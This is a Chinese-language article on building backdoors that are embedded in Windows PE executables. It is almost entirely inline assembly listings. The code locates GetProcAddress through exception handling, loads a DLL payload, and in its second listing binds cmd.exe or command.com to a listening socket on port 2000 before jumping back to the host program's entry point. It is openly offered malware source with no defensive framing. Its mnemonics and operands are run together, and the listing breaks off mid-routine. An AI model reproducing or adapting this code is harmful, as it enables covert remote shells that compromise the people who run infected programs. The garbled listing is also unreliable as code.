PE可执行文件的镶入式程序后门开发

  1. /*
  2. 利用异常结构处理搜索GetProcAddress入口地址
  3. */
  4. #include<STDIO.H>
  5. #include<WINDOWS.H>
  6. main()
  7. {
  8. _asm
  9. {
  10. callex//取得当前地址以计算异常结构开始的地址
  11. moveax,0x77000000
  12. mov[ebp-0ch],eax
  13. moveax,esp
  14. subeax,8
  15. xchgfs:[0],eax
  16. movDWORDptr[ebp-00h],eax
  17. moveax,fs:[4]
  18. movDWORDptr[ebp-04h],eax
  19. movfs:[4h],ebp//保存ebp到fs:[4h]中
  20. addecx,34h
  21. pushecx
  22. pusheax
  23. movedx,0
  24. movbyteptr[edx],0//产生错误
  25. }
  26. //异常结构开始
  27. _asm
  28. {
  29. movebp,fs:[4]
  30. movdwordptr[ebp-8h],0
  31. //for(;imgbase<0xff000000,procgetadd==0;){
  32. e104f:
  33. cmpdwordptr[ebp-8h],0
  34. jneexi
  35. //imgbase+=0x10000;
  36. moveax,[ebp-0ch]
  37. addeax,10000h
  38. mov[ebp-0ch],eax
  39. //if(imgbase==0x78000000)imgbase=0xbff00000;
  40. cmpdwordptr[ebp-0ch],78000000h
  41. jneis44
  42. movdwordptr[ebp-0ch],0BFF00000h
  43. /*if(*(WORD*)imgbase=='ZM'&&*(WORD*)(imgbase+*(int
  44. *)(imgbase+0x3c))=='EP'){*/
  45. is44:
  46. movecx,dwordptr[ebp-0ch]
  47. xoredx,edx
  48. movdx,wordptr[ecx]
  49. movdwordptr[ebp-24h],ecx
  50. cmpedx,5A4Dh//ZM
  51. jnee11db
  52. moveax,[ebp-0ch]
  53. movecx,dwordptr[eax+3Ch]
  54. movedx,dwordptr[ebp-0ch]
  55. xoreax,eax
  56. movax,wordptr[edx+ecx]
  57. cmpeax,4550h
  58. jnee11db
  59. //fnbase=*(int*)(imgbase+*(int*)(imgbase+0x3c)+0x78)+imgbase;
  60. movecx,dwordptr[ebp-0ch]
  61. movedx,dwordptr[ecx+3Ch]
  62. moveax,[ebp-0ch]
  63. movecx,dwordptr[eax+edx+78h]
  64. addecx,dwordptr[ebp-0ch]
  65. movdwordptr[ebp-10h],ecx
  66. //k=*(int*)(fnbase+0xc)+imgbase;
  67. movedx,dwordptr[ebp-10h]
  68. moveax,dwordptr[edx+0Ch]
  69. addeax,dwordptr[ebp-0ch]
  70. movdwordptr[ebp-14h],eax
  71. //if(*(int*)k=='NREK'&&*(int*)(k+4)=='23LE'){
  72. movecx,dwordptr[ebp-14h]
  73. cmpdwordptr[ecx],4E52454Bh
  74. jnee11db
  75. movedx,dwordptr[ebp-14h]
  76. cmpdwordptr[edx+4],32334C45h
  77. jnee11db
  78. //k=imgbase+*(int*)(fnbase+0x20);
  79. moveax,dwordptr[ebp-10h]
  80. movecx,dwordptr[ebp-0ch]
  81. addecx,dwordptr[eax+20h]
  82. movdwordptr[ebp-14h],ecx
  83. //for(l=0;l<*(int*)(fnbase+0x18);++l,k+=4){
  84. movdwordptr[ebp-18h],0
  85. jmpe1127
  86. e1115:
  87. movedx,dwordptr[ebp-18h]
  88. addedx,1
  89. movdwordptr[ebp-18h],edx
  90. moveax,dwordptr[ebp-14h]
  91. addeax,4
  92. movdwordptr[ebp-14h],eax
  93. e1127:
  94. movecx,dwordptr[ebp-10h]
  95. movedx,dwordptr[ebp-18h]
  96. cmpedx,dwordptr[ecx+18h]
  97. jgee11db
  98. /*if(*(int*)(imgbase+*(int*)k)=='tixE'&&*(int*)(4+imgbase+*(int
  99. *)k)=='corP'){GetProcAddress*/
  100. moveax,dwordptr[ebp-14h]
  101. movecx,dwordptr[eax]
  102. movedx,dwordptr[ebp-0ch]
  103. cmpdwordptr[edx+ecx],'PteG'
  104. jnee11d6
  105. moveax,dwordptr[ebp-14h]
  106. movecx,dwordptr[eax]
  107. movedx,dwordptr[ebp-0ch]
  108. cmpdwordptr[edx+ecx+4],'Acor'
  109. jnee11d6
  110. //k=*(WORD*)(l+l+imgbase+*(int*)(fnbase+0x24));
  111. moveax,dwordptr[ebp-18h]
  112. addeax,dwordptr[ebp-18h]
  113. addeax,dwordptr[ebp-0ch]
  114. movecx,dwordptr[ebp-10h]
  115. movedx,dwordptr[ecx+24h]
  116. xorecx,ecx
  117. movcx,wordptr[eax+edx]
  118. movdwordptr[ebp-14h],ecx
  119. //k+=*(int*)(fnbase+0x10)-1;
  120. movedx,dwordptr[ebp-10h]
  121. moveax,dwordptr[edx+10h]
  122. movecx,dwordptr[ebp-14h]
  123. leaedx,dwordptr[ecx+eax-1]
  124. movdwordptr[ebp-14h],edx
  125. //k=*(int*)(k+k+k+k+imgbase+*(int*)(fnbase+0x1c));
  126. moveax,dwordptr[ebp-14h]
  127. addeax,dwordptr[ebp-14h]
  128. addeax,dwordptr[ebp-14h]
  129. addeax,dwordptr[ebp-14h]
  130. addeax,dwordptr[ebp-0ch]
  131. movecx,dwordptr[ebp-10h]
  132. movedx,dwordptr[ecx+1Ch]
  133. moveax,dwordptr[eax+edx]
  134. movdwordptr[ebp-14h],eax
  135. movedx,dwordptr[ebp-14h]
  136. //addedx,imgbase
  137. addedx,dwordptr[ebp-0ch]
  138. //movprocgetadd,edx
  139. movdwordptr[ebp-8h],edx
  140. //恢复异常结构
  141. moveax,DWORDptr[ebp-00h]
  142. movfs:[0],eax
  143. moveax,DWORDptr[ebp-04h]
  144. movfs:[4],eax
  145. jmpe11db
  146. e11d6:
  147. jmpe1115
  148. e11db:
  149. jmpe104f
  150. }
  151. //////////////////////////////////////////////////////////////
  152. exi:
  153. //取得LoadLibraryA入口地址
  154. _asm
  155. {
  156. movdwordptr[ebp-124h],'daoL'
  157. movdwordptr[ebp-120h],'rbiL'
  158. movdwordptr[ebp-11Ch],'Ayra'
  159. movdwordptr[ebp-118h],0000h
  160. leaeax,[ebp-124h]
  161. pusheax
  162. movebx,dwordptr[ebp-24h]//kernel32.dll入口地址
  163. pushebx
  164. moveax,dwordptr[ebp-8h]
  165. movdwordptr[ebp-4008h],eax//GetProcAddress入口地址
  166. calleax
  167. movdwordptr[ebp-400ch],eax//LoadLibraryA入口地址
  168. }
  169. //加载mydll.dll
  170. _asm
  171. {
  172. movdwordptr[ebp-124h],'ldym'
  173. movdwordptr[ebp-120h],'ld.l'
  174. movdwordptr[ebp-11Ch],'l'
  175. movdwordptr[ebp-118h],0000h
  176. leaeax,[ebp-124h]
  177. pusheax
  178. calldwordptr[ebp-400ch]
  179. cmpeax,0
  180. jzexit1
  181. movebx,eax
  182. //取得mybegin入口地址
  183. movdwordptr[ebp-124h],'gebM'
  184. movdwordptr[ebp-120h],'ni'
  185. movdwordptr[ebp-11Ch],0000h
  186. movdwordptr[ebp-118h],0000h
  187. leaeax,[ebp-124h]
  188. pusheax
  189. pushebx
  190. calldwordptr[ebp-4008h]
  191. movdwordptr[ebp-4030h],eax//mybegin入口地址
  192. cmpeax,0
  193. jzexit1
  194. calleax//执行mybegin
  195. jmpexit1
  196. }
  197. ex:
  198. _asm
  199. {
  200. popecx
  201. pushecx
  202. ret
  203. }
  204. exit1:
  205. _asm
  206. {
  207. moveax,0x401000//这个跳转地址在代码中需要更改
  208. jmpeax
  209. }
  210. return0;
  211. }

  1. /*
  2. 利用异常结构处理搜索GetProcAddress入口地址
  3. 然后用这个函数加载其他api函数.实现线程一个返回另一个
  4. 绑定cmd.exe或command.com功能
  5. */
  6. #include<STDIO.H>
  7. #include<WINDOWS.H>
  8. main()
  9. {
  10. _asm
  11. {
  12. callex
  13. moveax,0x77000000
  14. mov[ebp-0ch],eax
  15. moveax,esp
  16. subeax,8
  17. xchgfs:[0],eax
  18. movDWORDptr[ebp-00h],eax
  19. moveax,fs:[4]
  20. movDWORDptr[ebp-04h],eax
  21. movfs:[4h],ebp
  22. addecx,34h
  23. pushecx
  24. pusheax
  25. movedx,0
  26. movbyteptr[edx],0
  27. movebp,fs:[4]
  28. movdwordptr[ebp-8h],0
  29. e104f:
  30. cmpdwordptr[ebp-8h],0
  31. jneexi
  32. moveax,[ebp-0ch]
  33. addeax,10000h
  34. mov[ebp-0ch],eax
  35. cmpdwordptr[ebp-0ch],78000000h
  36. jneis44
  37. movdwordptr[ebp-0ch],0BFF00000h
  38. is44:
  39. movecx,dwordptr[ebp-0ch]
  40. xoredx,edx
  41. movdx,wordptr[ecx]
  42. movdwordptr[ebp-24h],ecx
  43. cmpedx,5A4Dh//ZM
  44. jnee11db
  45. moveax,[ebp-0ch]
  46. movecx,dwordptr[eax+3Ch]
  47. movedx,dwordptr[ebp-0ch]
  48. xoreax,eax
  49. movax,wordptr[edx+ecx]
  50. cmpeax,4550h
  51. jnee11db
  52. movecx,dwordptr[ebp-0ch]
  53. movedx,dwordptr[ecx+3Ch]
  54. moveax,[ebp-0ch]
  55. movecx,dwordptr[eax+edx+78h]
  56. addecx,dwordptr[ebp-0ch]
  57. movdwordptr[ebp-10h],ecx
  58. movedx,dwordptr[ebp-10h]
  59. moveax,dwordptr[edx+0Ch]
  60. addeax,dwordptr[ebp-0ch]
  61. movdwordptr[ebp-14h],eax
  62. movecx,dwordptr[ebp-14h]
  63. cmpdwordptr[ecx],4E52454Bh
  64. jnee11db
  65. movedx,dwordptr[ebp-14h]
  66. cmpdwordptr[edx+4],32334C45h
  67. jnee11db
  68. moveax,dwordptr[ebp-10h]
  69. movecx,dwordptr[ebp-0ch]
  70. addecx,dwordptr[eax+20h]
  71. movdwordptr[ebp-14h],ecx
  72. movdwordptr[ebp-18h],0
  73. jmpe1127
  74. e1115:
  75. movedx,dwordptr[ebp-18h]
  76. addedx,1
  77. movdwordptr[ebp-18h],edx
  78. moveax,dwordptr[ebp-14h]
  79. addeax,4
  80. movdwordptr[ebp-14h],eax
  81. e1127:
  82. movecx,dwordptr[ebp-10h]
  83. movedx,dwordptr[ebp-18h]
  84. cmpedx,dwordptr[ecx+18h]
  85. jgee11db
  86. moveax,dwordptr[ebp-14h]
  87. movecx,dwordptr[eax]
  88. movedx,dwordptr[ebp-0ch]
  89. cmpdwordptr[edx+ecx],'PteG'
  90. jnee11d6
  91. moveax,dwordptr[ebp-14h]
  92. movecx,dwordptr[eax]
  93. movedx,dwordptr[ebp-0ch]
  94. cmpdwordptr[edx+ecx+4],'Acor'
  95. jnee11d6
  96. moveax,dwordptr[ebp-18h]
  97. addeax,dwordptr[ebp-18h]
  98. addeax,dwordptr[ebp-0ch]
  99. movecx,dwordptr[ebp-10h]
  100. movedx,dwordptr[ecx+24h]
  101. xorecx,ecx
  102. movcx,wordptr[eax+edx]
  103. movdwordptr[ebp-14h],ecx
  104. movedx,dwordptr[ebp-10h]
  105. moveax,dwordptr[edx+10h]
  106. movecx,dwordptr[ebp-14h]
  107. leaedx,dwordptr[ecx+eax-1]
  108. movdwordptr[ebp-14h],edx
  109. moveax,dwordptr[ebp-14h]
  110. addeax,dwordptr[ebp-14h]
  111. addeax,dwordptr[ebp-14h]
  112. addeax,dwordptr[ebp-14h]
  113. addeax,dwordptr[ebp-0ch]
  114. movecx,dwordptr[ebp-10h]
  115. movedx,dwordptr[ecx+1Ch]
  116. moveax,dwordptr[eax+edx]
  117. movdwordptr[ebp-14h],eax
  118. movedx,dwordptr[ebp-14h]
  119. addedx,dwordptr[ebp-0ch]
  120. movdwordptr[ebp-8h],edx
  121. //恢复异常结构
  122. moveax,DWORDptr[ebp-00h]
  123. movfs:[0],eax
  124. moveax,DWORDptr[ebp-04h]
  125. movfs:[4],eax
  126. jmpe11db
  127. e11d6:
  128. jmpe1115
  129. e11db:
  130. jmpe104f
  131. }
  132. //////////////////////////////////////////////////////////////
  133. exi:
  134. //取得各个需要函数的地址
  135. //取得LoadLibraryA入口地址
  136. _asm
  137. {
  138. callex1
  139. movdwordptr[ecx-0C70h],ebp
  140. movdwordptr[ebp-124h],'daoL'
  141. movdwordptr[ebp-120h],'rbiL'
  142. movdwordptr[ebp-11Ch],'Ayra'
  143. movdwordptr[ebp-118h],0000h
  144. leaeax,[ebp-124h]
  145. pusheax
  146. movebx,dwordptr[ebp-24h]//kernel32.dll入口地址
  147. pushebx
  148. moveax,dwordptr[ebp-8h]
  149. movdwordptr[ebp-4008h],eax//GetProcAddress入口地址
  150. calleax
  151. movdwordptr[ebp-400ch],eax//LoadLibraryA入口地址
  152. //CreatePipe入口地址
  153. movdwordptr[ebp-124h],'aerC'
  154. movdwordptr[ebp-120h],'iPet'
  155. movdwordptr[ebp-11Ch],'ep'
  156. movdwordptr[ebp-118h],0000h
  157. leaeax,[ebp-124h]
  158. pusheax
  159. pushebx
  160. calldwordptr[ebp-8h]
  161. movdwordptr[ebp-4000h],eax//CreatePipe入口地址
  162. cmpeax,0
  163. jzexit1
  164. //GetVersion入口地址
  165. movdwordptr[ebp-124h],'VteG'
  166. movdwordptr[ebp-120h],'isre'
  167. movdwordptr[ebp-11Ch],'no'
  168. movdwordptr[ebp-118h],0000h
  169. leaeax,[ebp-124h]
  170. pusheax
  171. pushebx
  172. calldwordptr[ebp-8h]
  173. movdwordptr[ebp-4004h],eax//GetVersion入口地址
  174. cmpeax,0
  175. jzexit1
  176. //CloseHandle入口地址
  177. movdwordptr[ebp-124h],'solC'
  178. movdwordptr[ebp-120h],'naHe'
  179. movdwordptr[ebp-11Ch],'eld'
  180. movdwordptr[ebp-118h],0000h
  181. leaeax,[ebp-124h]
  182. pusheax
  183. pushebx
  184. calldwordptr[ebp-8h]
  185. movdwordptr[ebp-4010h],eax//CloseHandle入口地址
  186. cmpeax,0
  187. jzexit1
  188. //ExitThread入口地址
  189. movdwordptr[ebp-124h],'tixE'
  190. movdwordptr[ebp-120h],'erhT'
  191. movdwordptr[ebp-11Ch],'da'
  192. movdwordptr[ebp-118h],0000h
  193. leaeax,[ebp-124h]
  194. pusheax
  195. pushebx
  196. calldwordptr[ebp-8h]
  197. movdwordptr[ebp-4014h],eax//ExitThread入口地址
  198. cmpeax,0
  199. jzexit1
  200. //Sleep入口地址
  201. movdwordptr[ebp-124h],'eelS'
  202. movdwordptr[ebp-120h],'p'
  203. movdwordptr[ebp-11Ch],0000h
  204. leaeax,[ebp-124h]
  205. pusheax
  206. pushebx
  207. calldwordptr[ebp-8h]
  208. movdwordptr[ebp-4018h],eax//Sleep入口地址
  209. cmpeax,0
  210. jzexit1
  211. //WriteFile入口地址
  212. movdwordptr[ebp-124h],'tirW'
  213. movdwordptr[ebp-120h],'liFe'
  214. movdwordptr[ebp-11Ch],'e'
  215. movdwordptr[ebp-118h],0000h
  216. leaeax,[ebp-124h]
  217. pusheax
  218. pushebx
  219. calldwordptr[ebp-8h]
  220. movdwordptr[ebp-401Ch],eax//WriteFile入口地址
  221. cmpeax,0
  222. jzexit1
  223. //PeekNamedPipe入口地址
  224. movdwordptr[ebp-124h],'keeP'
  225. movdwordptr[ebp-120h],'emaN'
  226. movdwordptr[ebp-11Ch],'piPd'
  227. movdwordptr[ebp-118h],'e'
  228. leaeax,[ebp-124h]
  229. pusheax
  230. pushebx
  231. calldwordptr[ebp-8h]
  232. movdwordptr[ebp-4020h],eax//PeekNamedPipe入口地址
  233. cmpeax,0
  234. jzexit1
  235. //ReadFile入口地址
  236. movdwordptr[ebp-124h],'daeR'
  237. movdwordptr[ebp-120h],'eliF'
  238. movdwordptr[ebp-11Ch],0000h
  239. leaeax,[ebp-124h]
  240. pusheax
  241. pushebx
  242. calldwordptr[ebp-8h]
  243. movdwordptr[ebp-4024h],eax//ReadFile入口地址
  244. cmpeax,0
  245. jzexit1
  246. //GetStartupInfoA入口地址
  247. movdwordptr[ebp-124h],'SteG'
  248. movdwordptr[ebp-120h],'trat'
  249. movdwordptr[ebp-11Ch],'nIpu'
  250. movdwordptr[ebp-118h],'Aof'
  251. leaeax,[ebp-124h]
  252. pusheax
  253. pushebx
  254. calldwordptr[ebp-8h]
  255. movdwordptr[ebp-4028h],eax//GetStartupInfoA入口地址
  256. cmpeax,0
  257. jzexit1
  258. //CreateProcessA入口地址
  259. movdwordptr[ebp-124h],'aerC'
  260. movdwordptr[ebp-120h],'rPet'
  261. movdwordptr[ebp-11Ch],'seco'
  262. movdwordptr[ebp-118h],'As'
  263. leaeax,[ebp-124h]
  264. pusheax
  265. pushebx
  266. calldwordptr[ebp-8h]
  267. movdwordptr[ebp-402Ch],eax//CreateProcessA入口地址
  268. cmpeax,0
  269. jzexit1
  270. //CreateThread入口地址
  271. movdwordptr[ebp-124h],'aerC'
  272. movdwordptr[ebp-120h],'hTet'
  273. movdwordptr[ebp-11Ch],'daer'
  274. movdwordptr[ebp-118h],0000h
  275. leaeax,[ebp-124h]
  276. pusheax
  277. pushebx
  278. calldwordptr[ebp-8h]
  279. movdwordptr[ebp-4008h],eax//CreateThread入口地址
  280. cmpeax,0
  281. jzexit1
  282. }
  283. //loadwsock32.dll
  284. _asm
  285. {
  286. movdwordptr[ebp-124h],'cosw'
  287. movdwordptr[ebp-120h],'.23k'
  288. movdwordptr[ebp-11Ch],'lld'
  289. movdwordptr[ebp-118h],0000h
  290. leaeax,[ebp-124h]
  291. pusheax
  292. calldwordptr[ebp-400ch]
  293. cmpeax,0
  294. jzexit1
  295. movebx,eax
  296. //WSAStartup入口地址
  297. movdwordptr[ebp-124h],'SASW'
  298. movdwordptr[ebp-120h],'trat'
  299. movdwordptr[ebp-11Ch],'pu'
  300. movdwordptr[ebp-118h],0000h
  301. leaeax,[ebp-124h]
  302. pusheax
  303. pushebx
  304. calldwordptr[ebp-8h]
  305. movdwordptr[ebp-4030h],eax//WSAStartup入口地址
  306. cmpeax,0
  307. jzexit1
  308. //__WSAFDIsSet入口地址
  309. movdwordptr[ebp-124h],'SW__'
  310. movdwordptr[ebp-120h],'IDFA'
  311. movdwordptr[ebp-11Ch],'teSs'
  312. movdwordptr[ebp-118h],0000h
  313. leaeax,[ebp-124h]
  314. pusheax
  315. pushebx
  316. calldwordptr[ebp-8h]
  317. movdwordptr[ebp-4034h],eax//__WSAFDIsSet入口地址
  318. cmpeax,0
  319. jzexit1
  320. //socket入口地址
  321. movdwordptr[ebp-124h],'kcos'
  322. movdwordptr[ebp-120h],'te'
  323. movdwordptr[ebp-11Ch],0000h
  324. leaeax,[ebp-124h]
  325. pusheax
  326. pushebx
  327. calldwordptr[ebp-8h]
  328. movdwordptr[ebp-4038h],eax//socket入口地址
  329. cmpeax,0
  330. jzexit1
  331. //closesocket入口地址
  332. movdwordptr[ebp-124h],'solc'
  333. movdwordptr[ebp-120h],'cose'
  334. movdwordptr[ebp-11Ch],'tek'
  335. movdwordptr[ebp-118h],0000h
  336. leaeax,[ebp-124h]
  337. pusheax
  338. pushebx
  339. calldwordptr[ebp-8h]
  340. movdwordptr[ebp-403Ch],eax//closesocket入口地址
  341. cmpeax,0
  342. jzexit1
  343. //select入口地址
  344. movdwordptr[ebp-124h],'eles'
  345. movdwordptr[ebp-120h],'tc'
  346. movdwordptr[ebp-11Ch],0000h
  347. leaeax,[ebp-124h]
  348. pusheax
  349. pushebx
  350. calldwordptr[ebp-8h]
  351. movdwordptr[ebp-4040h],eax//select入口地址
  352. cmpeax,0
  353. jzexit1
  354. //recv入口地址
  355. movdwordptr[ebp-124h],'vcer'
  356. movdwordptr[ebp-120h],0000h
  357. leaeax,[ebp-124h]
  358. pusheax
  359. pushebx
  360. calldwordptr[ebp-8h]
  361. movdwordptr[ebp-4044h],eax//recv入口地址
  362. cmpeax,0
  363. jzexit1
  364. //send入口地址
  365. movdwordptr[ebp-124h],'dnes'
  366. movdwordptr[ebp-120h],0000h
  367. leaeax,[ebp-124h]
  368. pusheax
  369. pushebx
  370. calldwordptr[ebp-8h]
  371. movdwordptr[ebp-4048h],eax//send入口地址
  372. cmpeax,0
  373. jzexit1
  374. //htons入口地址
  375. movdwordptr[ebp-124h],'noth'
  376. movdwordptr[ebp-120h],'s'
  377. movdwordptr[ebp-11Ch],0000h
  378. leaeax,[ebp-124h]
  379. pusheax
  380. pushebx
  381. calldwordptr[ebp-8h]
  382. movdwordptr[ebp-404Ch],eax//htons入口地址
  383. cmpeax,0
  384. jzexit1
  385. //bind入口地址
  386. movdwordptr[ebp-124h],'dnib'
  387. movdwordptr[ebp-120h],0000h
  388. leaeax,[ebp-124h]
  389. pusheax
  390. pushebx
  391. calldwordptr[ebp-8h]
  392. movdwordptr[ebp-4050h],eax//bind入口地址
  393. cmpeax,0
  394. jzexit1
  395. //listen入口地址
  396. movdwordptr[ebp-124h],'tsil'
  397. movdwordptr[ebp-120h],'ne'
  398. movdwordptr[ebp-11Ch],0000h
  399. leaeax,[ebp-124h]
  400. pusheax
  401. pushebx
  402. calldwordptr[ebp-8h]
  403. movdwordptr[ebp-4054h],eax//listen入口地址
  404. cmpeax,0
  405. jzexit1
  406. //accept入口地址
  407. movdwordptr[ebp-124h],'ecca'
  408. movdwordptr[ebp-120h],'tp'
  409. movdwordptr[ebp-11Ch],0000h
  410. leaeax,[ebp-124h]
  411. pusheax
  412. pushebx
  413. calldwordptr[ebp-8h]
  414. movdwordptr[ebp-4058h],eax//accept入口地址
  415. cmpeax,0
  416. jzexit1
  417. }
  418. //loadmsvcrt.dll
  419. _asm
  420. {
  421. movdwordptr[ebp-124h],'cvsm'
  422. movdwordptr[ebp-120h],'d.tr'
  423. movdwordptr[ebp-11Ch],'ll'
  424. movdwordptr[ebp-118h],0000h
  425. leaeax,[ebp-124h]
  426. pusheax
  427. calldwordptr[ebp-400ch]
  428. cmpeax,0
  429. jzexit1
  430. movebx,eax
  431. //memset入口地址
  432. movdwordptr[ebp-124h],'smem'
  433. movdwordptr[ebp-120h],'te'
  434. movdwordptr[ebp-11Ch],0000h
  435. leaeax,[ebp-124h]
  436. pusheax
  437. pushebx
  438. calldwordptr[ebp-8h]
  439. movdwordptr[ebp-4090h],eax//memset入口地址
  440. cmpeax,0
  441. jzexit1
  442. }
  443. //////////////////////////////////////////////////////////////
  444. //建立后门线程
  445. /////////////////////////////////////////////////////////////
  446. _asm
  447. {
  448. callex
  449. addecx,32h//取得后门代码的地址
  450. movdwordptr[ebp-8],1
  451. movdwordptr[ebp-0Ch],0
  452. movdwordptr[ebp-10h],0Ch
  453. leaeax,[ebp-4]
  454. pusheax
  455. push0
  456. push0
  457. pushecx
  458. push0
  459. leaecx,[ebp-10h]
  460. pushecx
  461. calldwordptr[ebp-4008h]
  462. callexit1//返回真正的代码
  463. }
  464. //////////////////////////////////////////////////////////////
  465. //建立后门
  466. /////////////////////////////////////////////////////////////
  467. _asm
  468. {
  469. moveax,0x400
  470. callex1
  471. movebp,dwordptr[ecx-0C70h]
  472. movbyteptr[ebp-1340h],0Dh
  473. movdwordptr[ebp-11ECh],0FFFFFFFFh
  474. movdwordptr[ebp-1DCh],0
  475. movdwordptr[ebp-1D8h],32h
  476. movdwordptr[ebp-1E4h],10h
  477. calldwordptr[ebp-4004h]
  478. cmpeax,80000000h
  479. jnbloc_0040106C
  480. movdwordptr[ebp-11ECh],1
  481. movdwordptr[ebp-4118h],'.dmc'
  482. movdwordptr[ebp-4114h],'exe'
  483. movdwordptr[ebp-4110h],00000000h
  484. jmploc_0040107D
  485. loc_0040106C:
  486. movdwordptr[ebp-11ECh],0
  487. movdwordptr[ebp-4118h],'mmoc'
  488. movdwordptr[ebp-4114h],'.dna'
  489. movdwordptr[ebp-4110h],'moc'
  490. loc_0040107D:
  491. leaeax,[ebp-1D4h]
  492. pusheax
  493. push101h
  494. calldwordptr[ebp-4030h]
  495. push0
  496. push1
  497. push2
  498. calldwordptr[ebp-4038h]
  499. mov[ebp-30h],eax
  500. push0
  501. push1
  502. push2
  503. calldwordptr[ebp-4038h]
  504. mov[ebp-12F8h],eax
  505. movwordptr[ebp-28h],2
  506. push7D0h
  507. calldwordptr[ebp-404Ch]
  508. mov[ebp-26h],ax
  509. movdwordptr[ebp-24h],0
  510. movdwordptr[ebp-44h],0Ch
  511. movdwordptr[ebp-40h],0
  512. movdwordptr[ebp-3Ch],1
  513. push10h
  514. leaecx,[ebp-28h]
  515. pushecx
  516. movedx,[ebp-30h]
  517. pushedx
  518. calldwordptr[ebp-4050h]
  519. push2
  520. moveax,[ebp-30h]
  521. pusheax
  522. calldwordptr[ebp-4054h]
  523. loc_004010F7:
  524. leaecx,[ebp-1E4h]
  525. pushecx
  526. leaedx,[ebp-28h]
  527. pushedx
  528. moveax,[ebp-30h]
  529. pusheax
  530. calldwordptr[ebp-4058h]
  531. mov[ebp-12F8h],eax
  532. cmpdwordptr[ebp-12F8h],0FFFFFFFFh
  533. jnzloc_00401121
  534. xoreax,eax
  535. jmploc_00401419
  536. loc_00401121:
  537. push0
  538. leaecx,[ebp-44h]
  539. pushecx
  540. leaedx,[ebp-34h]
  541. pushedx
  542. leaeax,[ebp-38h]
  543. pusheax
  544. calldwordptr[ebp-4000h]
  545. testeax,eax
  546. jnzloc_00401140
  547. xoreax,eax
  548. jmploc_00401419
  549. loc_00401140:
  550. push0
  551. leaecx,[ebp-44h]
  552. pushecx
  553. leaedx,[ebp-1E0h]
  554. pushedx
  555. leaeax,[ebp-2Ch]
  556. pusheax
  557. calldwordptr[ebp-4000h]
  558. push44h
  559. push0
  560. leaecx,[ebp-133Ch]
  561. pushecx
  562. calldwordptr[ebp-4090h]
  563. addesp,0Ch
  564. leaedx,[ebp-133Ch]
  565. pushedx
  566. calldwordptr[ebp-4028h]
  567. movdwordptr[ebp-133Ch],44h
  568. movdwordptr[ebp-1310h],101h
  569. movwordptr[ebp-130Ch],0
  570. moveax,[ebp-34h]
  571. mov[ebp-12FCh],eax
  572. movecx,[ebp-2Ch]
  573. mov[ebp-1304h],ecx
  574. movedx,[ebp-34h]
  575. mov[ebp-1300h],edx
  576. leaeax,[ebp-14h]
  577. pusheax
  578. leaecx,[ebp-133Ch]
  579. pushecx
  580. push0
  581. push0
  582. push0
  583. push1
  584. push0
  585. push0
  586. leaedx,[ebp-4118h]
  587. pushedx
  588. push0
  589. calldwordptr[ebp-402Ch]
  590. testeax,eax
  591. jnzloc_004011DD
  592. xoreax,eax
  593. jmploc_00401419
  594. loc_004011DD:
  595. push0C8h
  596. calldwordptr[ebp-4018h]
  597. loc_004011E8:
  598. moveax,1
  599. testeax,eax
  600. jeloc_004013C8
  601. push1000h
  602. push0
  603. leaecx,[ebp-11E8h]
  604. pushecx
  605. calldwordptr[ebp-4090h]
  606. addesp,0Ch
  607. movdwordptr[ebp-12F4h],0
  608. loc_00401215:
  609. cmpdwordptr[ebp-12F4h],40h
  610. jnbloc_00401240
  611. movedx,[ebp-12F4h]
  612. moveax,[ebp-12F8h]
  613. mov[ebp+edx*4-12F0h],eax
  614. movecx,[ebp-12F4h]
  615. addecx,1
  616. mov[ebp-12F4h],ecx
  617. loc_00401240:
  618. xoredx,edx
  619. testedx,edx
  620. jnzloc_00401215
  621. leaeax,[ebp-1DCh]
  622. pusheax
  623. push0
  624. push0
  625. leaecx,[ebp-12F4h]
  626. pushecx
  627. push0
  628. calldwordptr[ebp-4040h]
  629. mov[ebp-11F0h],eax
  630. cmpdwordptr[ebp-11F0h],0
  631. jeloc_00401338
  632. cmpdwordptr[ebp-11F0h],0FFFFFFFFh
  633. jeloc_00401338
  634. leaedx,[ebp-12F4h]
  635. pushedx
  636. moveax,[ebp-12F8h]
  637. pusheax
  638. calldwordptr[ebp-4034h]
  639. testeax,eax
  640. jzloc_004012B6
  641. push0
  642. push1000h
  643. leaecx,[ebp-11E8h]
  644. pushecx
  645. movedx,[ebp-12F8h]
  646. pushedx
  647. calldwordptr[ebp-4044h]
  648. mov[ebp-1E8h],eax
  649. loc_004012B6:
  650. cmpdwordptr[ebp-1E8h],0
  651. jaloc_004012C4
  652. jmploc_00401417
  653. loc_004012C4:
  654. push0
  655. leaeax,[ebp-1E8h]
  656. pusheax
  657. movecx,[ebp-1E8h]
  658. pushecx
  659. leaedx,[ebp-11E8h]
  660. pushedx
  661. moveax,[ebp-1E0h]
  662. pusheax
  663. calldwordptr[ebp-401Ch]
  664. mov[ebp-11F0h],eax
  665. cmpdwordptr[ebp-11F0h],0
  666. jnzloc_004012FC
  667. jmploc_00401415
  668. loc_004012FC:
  669. cmpdwordptr[ebp-11ECh],0
  670. jnzloc_0040132A
  671. push0
  672. leaecx,[ebp-1E8h]
  673. pushecx
  674. push1
  675. leaedx,[ebp-1340h]
  676. pushedx
  677. moveax,[ebp-1E0h]
  678. pusheax
  679. calldwordptr[ebp-401Ch]
  680. mov[ebp-11F0h],eax
  681. loc_0040132A:
  682. cmpdwordptr[ebp-11F0h],0
  683. jnzloc_00401338
  684. jmploc_00401413
  685. loc_00401338:
  686. push1000h
  687. push0
  688. leaecx,[ebp-11E8h]
  689. pushecx
  690. calldwordptr[ebp-4090h]
  691. addesp,0Ch
  692. push0
  693. leaedx,[ebp-4]
  694. pushedx
  695. push0
  696. push0
  697. push0
  698. moveax,[ebp-38h]
  699. pusheax
  700. calldwordptr[ebp-4020h]
  701. cmpdwordptr[ebp-4],0
  702. jbeloc_004013C3
  703. push0
  704. leaecx,[ebp-1E8h]
  705. pushecx
  706. movedx,[ebp-4]
  707. pushedx
  708. leaeax,[ebp-11E8h]
  709. pusheax
  710. movecx,[ebp-38h]
  711. pushecx
  712. calldwordptr[ebp-4024h]
  713. mov[ebp-11F0h],eax
  714. cmpdwordptr[ebp-11F0h],0
  715. jnzloc_00401399
  716. jmploc_00401411
  717. loc_00401399:
  718. push0
  719. movedx,[ebp-4]
  720. pushedx
  721. leaeax,[ebp-11E8h]
  722. pusheax
  723. movecx,[ebp-12F8h]
  724. pushecx
  725. calldwordptr[ebp-4048h]
  726. mov[ebp-11F0h],eax
  727. cmpdwordptr[ebp-11F0h],0
  728. jgloc_004013C3
  729. jmploc_0040140F
  730. loc_004013C3:
  731. jmploc_004011E8
  732. loc_004013C8:
  733. movedx,[ebp-1E0h]
